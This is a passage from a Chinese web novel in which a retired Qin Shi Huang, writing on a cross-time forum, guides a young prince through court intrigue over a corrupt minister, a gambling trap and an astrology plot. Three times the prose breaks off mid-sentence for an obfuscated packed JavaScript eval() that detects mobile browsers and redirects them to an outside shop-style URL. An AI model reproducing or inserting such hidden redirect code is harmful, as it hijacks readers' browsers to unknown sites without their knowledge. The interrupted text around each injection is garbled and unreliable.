这笑容很淡,却带着几分久违的、属于猎手般的锐利。 【青耕】:那便让他‘输’一场。找可靠之人,在赌坊设局,诱他押上钥匙为注。若他不敢,便激他将钥匙暂押,言明次日赎回。钥匙到手,连夜拓印,原物放回。勿伤其人,勿留痕迹。 【檐下雀】:……晚辈明白了! 【青耕】:记住,此事你不可亲自出面,甚至不可让你的人直接接触赌局。找不相干的地痞办,许以重金,事后送离京城。你只需确保拓印账本的人可靠,且拿到后立即誊抄分散藏匿。 【檐下雀】:是!谢先生指点! 对话到此,本可告一段落。但嬴政想了想,又补了一句: 【青耕】:此事若成,勿喜形于色。权臣折一小卒,无关痛痒,反会警惕。你要做的,是让他觉得此事乃其政敌所为,或是那管家自作孽。 【檐下雀】:先生深谋远虑,晚辈谨记! 结束私信,嬴政靠在椅背上,闭目养神。 手指无意识地在扶手上轻敲。 这种感觉……很熟悉。 像当年在咸阳宫中,对着巨大的疆域图,调度兵马,布局谋略。只不过那时棋子是百万大军,如今棋子是一个贪赌的管家、一本隐秘的账本、一位年轻的御史。 格局小了,但趣味……倒也未减。 “喵。” 墨玉回来了,嘴里叼着片金黄的银杏叶,放在他脚边,像是上贡。 嬴政弯腰捡起叶子,叶片完整,经络分明。 “朝堂如弈啊。”他低声说,将叶子放在案上,“一叶可知秋,一子可动局。” --- 论坛里,时间悄然流逝。 嬴政处理了几条其他求助,多是琐事,随手回了。注意力却总不自觉飘向私信栏——那里安静着,但能想象,另一个时空里,一场小小的、无声的博弈正在展开。 午时,他用过膳,在园中散步片刻。 哑巴老叟正在修剪菊枝,见他来,恭敬行礼。嬴政摆手示意他自便,站在一丛墨菊前看了许久。 菊花傲霜,但也是娇贵的。水多了烂根,肥多了烧叶,日照少了不开花。 治国,何尝不是如此? 回到书房,光幕上终于有了新动静。 不是私信,而是论坛公共区一个新帖子,热度正在快速上升: 【突发!户部右侍郎周某被御史弹劾贪墨河工款,证据确凿,陛下震怒,已下令彻查!】 发帖人是个陌生ID,但下面跟帖瞬间涌出: 【这么快?!昨天不还好好的?】 【听说证据是一本私账,今早神秘出现在御史家门前!】 【周侍郎可是那位‘董太师’的人啊,这是要动真格了?】 【楼上慎言!不过……确实有意思了。】 嬴政平静地看着。 很快,私信提示闪烁。 【檐下雀】(语气难掩激动):先生!成了!钥匙拓印成功,账本已抄录分散。御史的折子半个时辰前递上,父皇当场摔了茶盏,下令刑部、大理寺、御史台三司会审!周侍郎已被软禁府中! 【青耕】:账本原件放回否? 【檐下雀】:已按先生吩咐,原样放回,钥匙也归还。那管家今早酒醒,只以为昨夜醉后不慎遗落钥匙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114045|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被路人捡到送还,正暗自庆幸。 【青耕】:参与拓印之人? 【檐下雀】:是我乳兄,绝对可靠,已安排他今早‘突发急症’,去京郊庄子‘养病’了。赌局那几人,拿了双倍赏银,今早已离京。 【青耕】:善。接下来三日,称病不朝。若有人问起,只说秋凉染恙。 【檐下雀】:……先生,此时不该乘胜追击吗? 嬴政摇了摇头。 到底年轻。 【青耕】:此时出头,必成靶子。称病,一可示弱,让权臣放松警惕;二可观察,看谁人跳出来落井下石,谁人暗中维护周某,谁人试图浑水摸鱼。三日后,局势明朗,再谋下一步。 【檐下雀】:……晚辈懂了!这就去‘病’! 对话结束。 嬴政关掉私信,重新看向那个讨论周侍郎倒台的帖子。 热度还在涨,各种猜测、分析、小道消息满天飞。有人提到了“董太师”的反应,据说在朝上“面色铁青,但未发一言”。 老狐狸。 嬴政心里评价。能坐到那个位置的,都不是蠢人。此时沉默,才是最聪明的选择。 他正浏览着,一条新的回复引起了他的注意——来自那个ID“鹄羽”。 【鹄羽】:此事时机巧妙,手法干净。不像董氏政敌惯用的雷霆手段,倒像是……有人在下闲棋,布冷子。有趣。 嬴政指尖一顿。 这个“鹄羽”,眼光确实毒。 他想了想,在这条回复下,用“青耕”的ID跟了一句: 【青耕】:闲棋冷子,有时比明刀明枪更有用。 几乎是瞬间,“鹄羽”回复了他: 【鹄羽】(回复青耕):先生高见。只是布此局者,所图恐怕不止一个户部侍郎。 【青耕】(回复鹄羽):图大事者,必先从小处着手。 【鹄羽】(回复青耕):受教。 简单的几句对话,淹没在快速刷新的帖子里,没引起太多人注意。 但嬴政知道,“鹄羽”注意到了。 他关掉帖子,看了眼窗外。 夕阳西斜,又一天将尽。 论坛时间显示:【第三日,辰时】。 在这里才过了一日,论坛已是两天后。那个时空里,周侍郎的案子应该正在发酵,称病的“檐下雀”躲在府中观察,权臣“董太师”暗中排查,各方势力蠢蠢欲动。 而他,坐在这骊山书房中,隔着一面光幕,落子无声。 “先生。” 哑巴老叟在门外轻叩,比划着晚膳已备好。 嬴政起身,最后看了眼光幕。 私信栏里,“檐下雀”的图标安安静静,大概正老老实实“病”着。 也好。 急什么。 棋局才刚开了个头。 他走出书房,墨玉从廊下阴影里窜出来,跟在他脚边。夕阳将一人一猫的影子拉得很长,映在青石板上,悠然,从容。 仿佛山外那些纷扰的朝局、隐秘的算计、无声的厮杀,都与这方小小院落无关。 只是,当夜半时分,嬴政从浅眠中醒来,望着帐顶模糊的纹路时,脑中闪过的,却是那句来自“鹄羽”的评价: “布此局者,所图恐怕不止一个户部侍郎。” 他翻了个身,闭上眼。 所图? 他不过是个退休的山野闲人,指点个迷茫的年轻人罢了。 至于那年轻人最终能走到哪一步…… 得看他自己的造化。 窗外,秋虫噤声,万籁俱寂。 只有书房里,那面光幕依旧幽幽亮着,映照着无数时空之外,一场刚刚拉开序幕的棋局。 --- 5. 观局如观火,谋定而后动 接下来的三日,骊山别业一切如常。 嬴政晨起、用膳、散步、读书,偶尔批阅那些自拟的“奏折”。只是每日在书房的时间,明显多了些。 光幕常亮着。 “檐下雀”果然称病不朝,每日只在固定时辰通过私信简单汇报。语气从最初的激动,渐渐变得沉稳,甚至学会了用更简练的文字描述关键信息: 【第一日午】:周案三司会审,董太师保举亲信主审,被父皇驳回。父皇指定了宗正寺卿。(青耕批注:好事。宗正寺卿虽老迈,但最重皇室体面,且与董氏有旧怨。) 【第一日晚】:董太师府今夜宴客,赴宴者七人,名单如下……(青耕批注:记下。此七人近日动向需留意。) 【第二日晨】:刑部从周府密室搜出账本原件,数目与我拓印版吻合。周侍郎当堂瘫软,但咬死不认指使之人。(青耕批注:必然。其家小应已被董氏控制。不必深究,坐实其罪即可。) 【第二日午】:清流王太傅今日上疏,请严查贪墨,肃清朝纲。然未提董氏半字。(青耕批注:意料之中。可记此人情:关键时刻未落井下石,已算助力。) 【第三日晨】:宫中传出风声,父皇有意擢升户部左侍郎暂代右侍郎职。左侍郎是……董太师门生。(青耕:勿急。且看。) 看到最后一条时,嬴政正在给墨玉梳毛。 黑猫舒服得呼噜作响,他却停下了手。 “以退为进……”他低声自语,“老狐狸。” 这是权臣惯用的伎俩:折一个爪牙,便补上一个更听话的。看似退让,实则巩固。 他放下梳子,走到光幕前。第三日了,“檐下雀”的“病”也该好了。 私信发出: 【青耕】:明日可上朝。若有人问病,答‘偶感风寒,已愈’。若有人提及周案,只听,不言。若有人试探你对户部左侍郎升迁的看法,答‘父皇圣断,臣无异议’。 片刻后,回复来了: 【檐下雀】:先生,晚辈愚钝……我们费心扳倒周某,却让董氏的人顶上,岂非白忙一场? 到底年轻,沉不住气。 嬴政摇了摇头,输入: 【青耕】:谁说是白忙?一、周某倒台,断了董氏一条财路。二、此事让朝野看见,董氏的人并非动不得。三、最重要——左侍郎此人,你了解多少? 【檐下雀】:此人……才干平庸,唯唯诺诺,全凭阿附董太师上位。 【青耕】:那便是了。一个才干平庸、全靠主子提拔的人,骤然被推到风口浪尖,他会如何? 对面沉默了一会儿。 然后,消息跳出来: 【檐下雀】:……他会惶恐,会急于表现,也会更紧地抱紧董太师大腿。但正因平庸,易出错。且他骤然上位,必惹户部其他资历更老的郎中、主事不满。 【青耕】:不错。所以,我们不是白忙,而是换了个更好对付的对手上台。且,将董氏一条暗线,变成了明线。 【檐下雀】:明线? 【青耕】:以往周某贪墨,董氏可推不知。如今左侍郎是众所周知的董氏门生,他若再出纰漏,董氏便难脱干系。此谓‘移祸’。 这一次,对面久久没有回复。 嬴政也不催,端起茶盏,慢慢啜饮。 窗外秋阳正好,园中菊花已开到极盛,金黄、雪白、深紫,泼泼洒洒一片。哑巴老叟正在扫落叶,竹帚划过青石,沙沙作响。 终于,私信亮了: 【檐下雀】:先生谋略,深远如渊。晚辈……受教了。 字里行间,透着一股真正的服气,与之前那种略带兴奋的恭敬不同。 嬴政放下茶盏。 他知道,这年轻人开始真正思考了,而不是简单地执行命令。 好事。 【青耕】:明日上朝,多看,多听,多想。尤其注意:有哪些原本中立、或倾向董氏的官员,在此事后态度有微妙变化。记下来。 【檐下雀】:是。 结束对话,嬴政没有关闭光幕。 他点开了论坛主界面。 这三日,除了指导“檐下雀”,他也断断续续回复了些其他问题。治绩点从12涨到了28,依旧不温不火。倒是那个关于秦制的帖子,已经盖到两百多楼,成了论坛近期的热门话题。 “鹄羽”又发了几条长文,讨论“郡县制与封建制的平衡”、“中央集权的效率边界”,甚至提到了“舆论管控与信息流通”的关系,虽用词古雅,但思想极为超前。 嬴政每条都仔细看了。 这个“鹄羽”,不仅对历史有深刻洞察,对治理的理解也远超常人。有些观点,连他当年都未曾细想。 比如那条关于“信息流通”的: “秦筑驰道、开灵渠,物质流通极畅,然民间言论、地方舆情之上达,却依赖层层官吏奏报。此中滞后与失真,恐是民怨积压却中央不察的原因之一。若当时能有更便捷的‘非官方’信息渠道,或可早调政策,缓和社会矛盾。” 嬴政看着这段话,陷入沉思。 驰道是他力排众议修的,为了调兵、运粮、巡行天下。但“非官方信息渠道”……确实未曾想过。不,是想过,但立刻否决了。君王需要知道真相,但不需要不受控制的真相。 然而,“鹄羽”说得对。层层奏报,必有筛选和扭曲。当年各地“祥瑞”频报,而饥荒、民变却常被压下,直到不可收拾。 他抬起手,在“鹄羽”这条发言下,用“青耕”的ID回复: 【青耕】:信息之控,如治水。堵则溃,疏则通。然疏之方向、力度,需精心设计。否则谣言四起,反损权威。两难。 回复发出后,他等了一会儿。 “鹄羽”没有立刻回应。 倒是论坛里另一个帖子引起了他的注意: 【技术讨论:古代若想建立快速信息传递系统,除驿站外,有无他法?】 发帖人是个叫“格物致知”的ID,内容很专业,提到了烽火、信鸽、甚至设想了“用特定光影信号在夜间传递简码”的可能。 下面有人调侃:“楼主难道想穿越回去搞电信?” 嬴政却看得很认真。 他忽然想起,当年灭楚时,曾尝试过用训练好的猎鹰在军营间传递简短军情,效果不错,但成本太高,未能推广。 若有一种成本低廉、又快速可靠的传信方式…… 他正思索着,私信提示忽然急促地闪了几下。 不是“檐下雀”。 是一个陌生ID:观棋不语。 点开,内容简短: 【观棋不语】:青耕先生,冒昧打扰。晚辈关注先生数日,见先生指点‘檐下雀’之言,深为折服。晚辈亦身处类似困局,可否求先生一晤? 嬴政眉头微皱。 论坛规则严禁探询身份,此人开口便提“檐下雀”,已是越界。且语气虽恭敬,却带着股试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114046|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探之意。 他回复得冷淡: 【青耕】:论坛之地,公开讨论即可。私晤不必。 【观棋不语】:先生勿怪。晚辈并无恶意,只是……‘檐下雀’处境,晚辈感同身受。且晚辈所知情报,或对先生下一步布局有益。 嬴政眼神一凝。 情报? 此人知道“檐下雀”的具体处境?甚至……知道他在“布局”? 要么是“檐下雀”那个时空的知情人,要么……是论坛里嗅觉极其敏锐的观察者。 他沉吟片刻,回复: 【青耕】:哦?有何情报? 【观棋不语】:董太师三日前,秘密送了一对玉璧入宫,赠予刘贵妃。刘贵妃之弟,现任北境监军。而北境大将军,是董太师旧部。 嬴政看着这几行字,指尖在案几上轻轻一点。 玉璧?刘贵妃?北境? 联系起来便是:董太师在通过后宫,拉拢军方。 难怪周案发生后,董氏看似退让,实则从容。原来早有后手——军权才是根本。 【青耕】:此情报,你从何得知? 【观棋不语】:晚辈自有渠道。若先生愿私下指点,晚辈可提供更多。 筹码交换。 嬴政笑了,笑意未达眼底。 【青耕】:不必。此情报,我已知晓。 撒谎。 但他必须如此回应。一旦示弱,或显好奇,便会陷入被动。 果然,对面沉默了一会儿。 然后发来: 【观棋不语】:先生果然深不可测。是晚辈唐突了。告辞。 头像暗了下去。 嬴政盯着那个暗下去的头像,眸色深沉。 这个“观棋不语”,不简单。是敌是友?是随机出现的论坛用户,还是……针对“檐下雀”或他“青耕”而来? 他想了想,给“檐下雀”发了条私信: 【青耕】:留意北境军方动向,尤其是刘贵妃及其家族。 【檐下雀】(片刻后):北境?先生,可是出了什么事? 【青耕】:未雨绸缪。 【檐下雀】:是!晚辈这就去查。 结束对话,嬴政靠在椅背上,闭目养神。 墨玉跳上案几,好奇地用爪子碰了碰光幕边缘,莹白的光映在它碧绿的瞳孔里。 “局面……越来越有趣了。”嬴政低声说,伸手抚过黑猫光滑的背脊。 原本只是一时兴起,指点个迷茫的年轻人。 如今却似乎卷入了一场更复杂的棋局:有权臣,有后宫,有军方,还有论坛里身份不明、意图难测的观察者。 但他心中并无惧意,反而升起一丝久违的兴致。 当年横扫六国,何等波澜壮阔。如今退休了,在这小小的论坛里,下一盘跨越时空的棋,似乎……也不错。 窗外,暮色渐合。 光幕幽幽亮着,映照着书房里一人一猫安静的剪影。 而无数时空之外,一个称病三日的年轻皇子,正整理衣冠,准备明日重返朝堂。 另一处,某间雅室中,有人看着论坛私信界面“青耕”最后的回复,若有所思。 “已知晓……”那人轻声重复,“是真知晓,还是虚张声势?” 烛火摇曳,映出一角华贵的衣袖。 棋局之上,落子无声。 但棋盘之下,暗流已开始涌动。 --- 6. 观火(上) 寅时刚过,天还黑着。 嬴政晨起时,发现窗外飘起了细雨。秋雨细密,打在竹叶上沙沙作响,山间起了层薄雾,将骊山晕染成水墨画。 墨玉讨厌湿漉漉的爪子,蹲在廊下,对着雨帘不满地“喵”了一声。 用过早膳,嬴政照例走进书房。光幕亮着,右上角显示【论坛时:第四日,卯时初刻】——正是“檐下雀”那个时空的上朝时辰。 私信栏果然有动静。 【檐下雀】(一刻钟前):先生,我准备上朝了。有些……紧张。 【檐下雀】(半刻前):更衣毕。父皇昨日遣御医来探视,赏了参茸。董太师也派人送了补品,一匣老山参,品相极佳。 嬴政看完,不急不缓地先给自己沏了杯茶。雨天气温低,热茶暖手。 然后才回复: 【青耕】:参茸可收,山参原封退还。理由:无功不受禄,病中小虚,不堪大补。遣一老成内侍去退,态度要恭谨,话要说得圆满。 发送完,他端起茶盏,看着窗外雨丝。 退补品,是表态:我不领你的情。 但让老成内侍去,话要说圆满,是不撕破脸:我还敬你是太师。 分寸微妙。 很快,回复来了: 【檐下雀】:是!已命赵公公去办。 【青耕】:上朝后,依前日所言:多看,少言。尤其留意三人:户部新任左侍郎、刘贵妃之父光禄大夫、还有……今日若有北境军报,看兵部尚书反应。 【檐下雀】:记下了。 对话暂歇。 嬴政放下茶盏,点开论坛主页。治绩点又涨了几点,到了31。那个关于信息传递的帖子下,多了几条新回复,有人在讨论“能否用特定鼓点传递复杂信号”。 他看了几眼,没什么新意,便关掉了。 雨似乎大了些,敲在瓦上噼啪作响。墨玉终究耐不住,溜进书房,跳上空着的坐榻,蜷成一团打盹。 嬴政摊开一卷空白绢帛,提笔想写点什么,却迟迟未落笔。 心思,到底有些飘远。 那个时空的朝堂上,此刻应该正是一片肃穆。年轻的皇子病愈归来,会面对多少目光?审视的、试探的、同情的、幸灾乐祸的…… 他忽然想起自己二十二岁那年,在雍城蕲年宫行冠礼。嫪毐叛乱,兵围宫城。那时他握着剑站在高台上,看着下面黑压压的叛军,心中没有紧张,只有冰冷的杀意。 紧张?那是弱者的情绪。 不过……那孩子会紧张,也正常。 他摇了摇头,笔下终于落字: 【论坛纪事·其二】 【今雨。有子初试锋芒,忐忑来问。吾答:退其礼,观其变。】 【遥想当年,冠礼逢叛,持剑登台时,何尝有暇忐忑?然,人皆从稚嫩始。】 写到这里,他停笔。 遥想当年……这话说得,真像是个老叟了。 他笑了笑,在末尾添上一句: 【退休之乐,其二:可忆往昔峥嵘,却不必再历其险。】 搁笔,喝茶。 光幕上,时间又跳了一刻。 私信依旧安静。 看来朝会还未散。 嬴政也不急,从书架上抽了卷《山海经》闲翻——墨玉的名字便取自其中。翻到“青耕”篇:“有鸟焉,其状如鹊,青身白喙,白目白尾,名曰青耕,可以御疫。” 御疫…… 他当初随手选了这个ID,倒也应景——在这论坛里,他治的算是这些“未来明君”们心上的“疫病”:迷茫、软弱、短视。 正想着,光幕忽然连续闪烁。 私信来了。 【檐下雀】(语气急促):先生!朝会刚散!有几件事: 【檐下雀】:一、户部左侍郎上任谢恩,父皇当庭勉励,但神色淡淡。左侍郎退下时,冷汗湿了后襟。 【檐下雀】:二、北境确有军报,但不是急报,是寻常秋防奏请增拨冬衣。兵部尚书出列禀报时,董太师看了他一眼,他语速顿了顿。 【檐下雀】:三、最要紧的——散朝时,光禄大夫主动与我同行,寒暄几句后,似无意间提起:北境风光雄奇,可惜其子年轻,恐负圣恩。说完便告辞了。 三条信息,一条比一条有意思。 嬴政放下书卷,坐直身体。 【青耕】:左侍郎反应正常。你父皇态度,是好事——说明心中已有芥蒂。 【青耕】:兵部尚书语速顿挫,说明他知北境事涉董氏,禀报时心存顾忌。此细节记下,此人或可利用。 【青耕】:光禄大夫之言……是示好,更是试探。他看出你与董氏不睦,想探你是否有意染指北境军权。其子‘年轻恐负圣恩’,潜台词是:若有人支持,他儿子可不为董氏所用。 分析完,他略一沉吟,又补充: 【青耕】:回复光禄大夫:北境苦寒,将士辛劳,刘监军年轻有为,正是历练之时。此外不必多言。 【檐下雀】:先生,这是……应下了? 【青耕】:非也。是留了活话:你说他‘年轻有为’,是认可;说‘正是历练’,是观望。他若聪明,自会再递橄榄枝;他若愚钝,或会急进。无论哪种,我们都可从容应对。 【檐下雀】:晚辈明白了!这就去办。 对话再次暂停。 嬴政起身,走到窗边。雨小了些,山雾却更浓,远处的峰峦完全隐入白茫茫中。 光禄大夫主动示好……这倒是个意外收获。 刘贵妃宠冠后宫,其父在朝中却一直低调。如今借儿子在北境任职之机,想挣脱董氏掌控,另寻靠山?还是说,这本身就是董氏的又一重试探? 都有可能。 政治场上,真真假假,从来难辨。 他正思索着,论坛公共区忽然弹出一条新帖子,标题让他目光一凝: 【深度分析:从‘户部周案’看权力博弈的‘蝴蝶效应’】 发帖人:鹄羽。 帖子开篇就点明:“近日某时空朝局变动,虽只倒一侍郎,却如投石入水,涟漪已荡至军方、后宫。此正合‘蝴蝶效应’之理——初始微小扰动,经系统层层放大,可引发风暴。” 接着,文章以周案为引,层层剖析: 1. 经济层面:周某倒台,断了董氏一条重要财路,逼其调整利益分配。 2. 人事层面:左侍郎上任,引发户内部不满,董氏需额外资源安抚。 3. 政治层面:清流借机发声,中立派开始观望,皇权显露出制衡意图。 4. 军事层面:北境关联方开始寻求新靠山,董氏对军方的控制出现裂痕。 最后总结:“布局者高明之处在于:看似只动一子,实则震荡全盘。且每一步都留有余地,可进可退。此非莽夫之勇,乃弈者之谋。” 帖子下面,迅速跟了一堆回复: 【太精辟了!鹄羽先生这是看了多少宫斗剧啊!】 【我怎么觉得……这分析里‘布局者’的手法,有点像青耕先生的风格?】 【楼上+1!青耕先生前几天刚指导过类似案例!】 【难道鹄羽先生在暗中观察青耕先生?】 嬴政看着这些回复,神色平静。 这个“鹄羽”,不仅看穿了局势,还几乎点明了“布局者”的存在。虽然用的是“某时空”、“布局者”这样的泛指,但论坛里稍微留心的人,都能联想到“青耕”和“檐下雀”。 是无心之举,还是有意为之? 他想了想,在帖子下回复: 【青耕】:分析透彻。然,‘蝴蝶效应’之妙,在于其不可完全预测。布局者纵有千般算计,一阵风来,蝴蝶振翅的方向或就变了。故善弈者,当留三分余地,以应无常。 回复发出,很快,“鹄羽”就跟帖了: 【鹄羽】(回复青耕):先生所言极是。‘留有余地’,正是高手与庸手的区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114047|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别。观此局,处处有活眼,步步有余味,深得弈道三昧。 两人这一唱一和,更坐实了围观群众的猜测。 论坛里开始有人开玩笑: 【我宣布,青耕×鹄羽是本论坛第一智性CP!】 【两位大佬能不能开个课?收费我也听!】 【只有我关心‘檐下雀’这位幸运儿吗?被大佬手把手教下棋……】 嬴政看着这些调侃,有些无奈地摇了摇头。 CP?这又是什么新鲜词? 他关掉帖子,回到私信界面。 “檐下雀”还没有新消息,大概正忙着应付光禄大夫。 倒是那个“观棋不语”,又发来一条私信: 【观棋不语】:先生退参之举,高明。光禄大夫今日朝后举动,亦在先生预料之中? 果然在盯着。 嬴政这次回复得更简洁: 【青耕】:有事? 【观棋不语】:只是想提醒先生,□□,未必可靠。光禄大夫其人,最善骑墙。 【青耕】:知晓。 【观棋不语】:另,董太师昨夜密会了钦天监监正。 钦天监? 嬴政眼神微动。钦天监管天象、历法、占卜,看似清闲衙门,实则紧要——天象吉凶,可直接影响帝王心绪,甚至朝政决策。 董氏找钦天监……是想在“天意”上做文章? 【青耕】:为何告诉我? 【观棋不语】:晚辈敬佩先生之才,不愿见先生之局,败于旁门左道。 说得冠冕堂皇。 但嬴政一个字都不信。 【青耕】:多谢。 结束对话。 他站起身,在书房里踱了几步。 钦天监……天象…… 忽然,他想起一事:按那个时空的历法,再过半月,该有“荧惑守心”之象——火星停留在心宿,在古代星占中是大凶之兆,主“天子有灾,大臣罢退”。 董氏选在这个时间点接触钦天监,莫非是想借天象发难? 目标是谁? 皇帝?还是……“檐下雀”? 他快步回到光幕前,正要给“檐下雀”发信,私信却先一步亮了。 【檐下雀】:先生!刚收到消息:钦天监监正午后进宫,单独觐见父皇,密谈近半个时辰! 果然。 嬴政神色一肃,迅速回复: 【青耕】:立刻去查:近日天象可有异常?尤其是与‘荧惑’相关的。另外,打听钦天监近日是否新进了观星仪器,或得了什么‘古籍秘本’。 【檐下雀】:先生,难道…… 【青耕】:董氏可能想借天象生事。速去查,要隐秘。 【檐下雀】:是! 光幕那头,年轻人的紧张感几乎透过文字传来。 嬴政却反而平静下来。 借天象? 倒是老套,但确实有用。君王再英明,对“天命”总有几分敬畏。若天象示警,指向某个皇子“有妨圣躬”,那便是绝佳的废黜借口。 看来,周案的反击,让董氏坐不住了,想直接动“檐下雀”本人。 他端起已经凉透的茶,一饮而尽。 眼中,闪过一丝久违的锐芒。 退休了,想安静养猫、逛论坛、指点下年轻人。 可若有人非要把他学生往死里逼…… 那就别怪他,用点儿当年扫平六国的手段了。 窗外,雨不知何时停了。 云破处,一缕阳光刺破山雾,照进书房。 光幕幽幽,映着嬴政沉静的侧脸,和那双深不见底的眼眸。 墨玉不知何时醒了,伸了个懒腰,跳下坐榻,走到主人脚边,轻轻“喵”了一声。 仿佛在问:要开战了吗? 嬴政弯腰,揉了揉猫脑袋。 “不急。”他低声道,“先看看,他们想演一出什么戏。” --- 7. 观火(下) 钦天监监正入宫密谈的消息,像一颗投入静潭的石子,在朝野间漾开无声的涟漪。 接下来两日,“檐下雀”那里传来的消息,一条比一条紧: 当日傍晚:钦天监近日确从江南寻得一批前朝观星古籍,其中不乏孤本。 次日晨:监正再次入宫,携数卷星图。 次日午:宫中开始流传“星象有异”的低语,源头不明。 次日暮:光禄大夫紧急递话:陛下今夜独宿观星台。 独宿观星台。 嬴政看到这五个字时,正在给墨玉喂晚膳的小鱼干。他动作顿了顿,将最后一条鱼干放入碟中,起身走回书房。 光幕幽幽,映着他没什么表情的脸。 帝王独宿观星台,通常只有两种可能:要么是心有所惑,祈天示警;要么……是已得“天示”,需要静思决断。 结合钦天监的异常动作,很可能是后者。 他坐下,手指在案几上轻敲几下,然后给“檐下雀”发信: 【青耕】:你可信‘天命’? 这问题来得突兀。 那边沉默了片刻,才回复: 【檐下雀】:先生……晚辈幼读圣贤书,知‘天命无常,惟德是辅’。然宫中长大,见多了借天象弄权之事……晚辈更信人事。 答得谨慎,但态度明确。 嬴政眼中掠过一丝几不可察的赞许。 【青耕】:善。既如此,我教你破局。但需你胆大心细,且——信我。 【檐下雀】:晚辈信先生!请先生吩咐! 【青耕】:第一,立刻派人暗中盯住钦天监监□□邸,尤其注意其家人近日动向、有无异常财物进出。第二,查那批‘前朝古籍’的来历,何人献书,经谁之手入监。第三,也是最险的一步…… 他顿了顿,看着窗外沉沉的夜色。 山风穿过竹林,发出簌簌声响,像无数低语。 【青耕】:寻一个可靠又懂些星象的人,最好是钦天监中不得志、或与监正有旧怨的官吏。许以重利,问清一件事:此次‘星象有异’,究竟是确有其象,还是……人为解读? 这三条,一条比一条敏感,尤其最后一条,几乎是直指钦天监舞弊——这是重罪。 但“檐下雀”回复得很快: 【檐下雀】:晚辈这就去办。第三件事……监正副手刘司历,因三年前一次日食推算误差被贬,一直心怀怨怼,且其子好赌,欠债累累。或可用。 【青耕】:可用。但要双管齐下:许他钱财还债,再许他事成后升迁。同时,握其把柄。 【檐下雀】:明白! 【青耕】:动作要快。若我所料不差,‘天象示警’的奏章,最迟明日就会递上。 【檐下雀】:是! 结束私信,嬴政靠在椅背上,闭上眼。 脑海中迅速推演:如果董氏真要借天象发难,会指向什么? 最可能的,是“荧惑守心”指向储君不利——心宿象征帝王,荧惑为灾星,停留在心宿,可解读为“储位不宁,妨害圣躬”。若再具体些,甚至可能通过星官分野,将灾应直接指向“檐下雀”的命宫或封地。 老套路,但有效。 除非……能证明这“天象”有问题。 他睁开眼,点开论坛。在搜索栏里输入“古代天文观测误差”。 跳出一堆帖子,多是现代天文爱好者讨论。他快速浏览,直到一个标题吸引了他: 【技术考据:汉代以前‘荧惑守心’记录的可靠性分析】 发帖人:星野寻踪。 帖子内容专业,详细列举了从春秋到西汉史书中记载的二十三次“荧惑守心”,并用现代天文软件回推,发现其中至少十七次根本不存在相应天象,或时间、位置严重不符。结论是:古代星占记录存在大量政治性篡改或观测误差。 下面跟帖讨论热烈。 嬴政目光扫过那些现代天文学术语:轨道周期、黄经差、视觉停留……大多看不懂,但核心结论他抓住了:很多所谓“凶兆”,可能是人为制造或误读。 他想了想,给这个“星野寻踪”发了条私信: 【青耕】:请教:若想证明某次特定‘荧惑守心’记录有误,可有方法? 对面很快回复,语气兴奋: 【星野寻踪】:大佬居然对天文感兴趣!要看具体情况。如果有具体的年月日、观测地点、以及古籍中描述的相对位置,可以用软件回推验证!大佬有数据吗? 数据? 嬴政沉吟。他不可能知道“檐下雀”那个时空的精确历法和观测坐标。 【青耕】:暂无具体数据。但若观测者有意篡改,通常会如何操作? 【星野寻踪】:那可多了!比如把火星在其他时间、其他位置的观测记录,挪用到需要的时间点。或者夸大视觉停留时间——荧惑守心其实就几天,但可以写成‘旬月不退’。再或者,利用阴雨天无法观测的空档,直接编造。 【青耕】:阴雨天无法观测? 【星野寻踪】:对啊!古代观星全靠肉眼,云厚一点就看不见了。要是连续阴雨个把月,那段时间的星象记录,基本就是……你懂的。 嬴政眼睛一亮。 【青耕】:明白了。多谢。 结束对话,他立刻给“檐下雀”追加了一条私信: 【青耕】:加查一事:最近一月,京城及钦天监观星台所在地的天气记录,尤其注意连续阴雨、大雾之日。速办。 发完这条,他才稍稍松了口气。 端起已经凉透的茶,慢慢喝完。 夜更深了。 墨玉吃饱喝足,跳上书案,好奇地嗅了嗅光幕边缘,被嬴政轻轻拎到一边。 “别捣乱。”他低声道,“正忙着。” 黑猫“喵”了一声,乖乖趴在一旁,碧绿的眼睛却还盯着光幕上流动的文字。 时间一点点过去。 论坛右上角的沙漏,从【第四日亥时】跳到【第五日子时】。 嬴政没有睡意。 他索性摊开绢帛,开始记录今日的思考: 【论坛纪事·其三】 【有人欲借天象构陷。】 【天象虽玄,终是人间观测。既为人测,便可为人改、为人误、为人伪。】 【破之之道:一查人,二查器,三查天时。人欲为何?器可准否?天时可观否?】 写到这里,他停笔,想起“星野寻踪”那句“阴雨天无法观测”。 天时…… 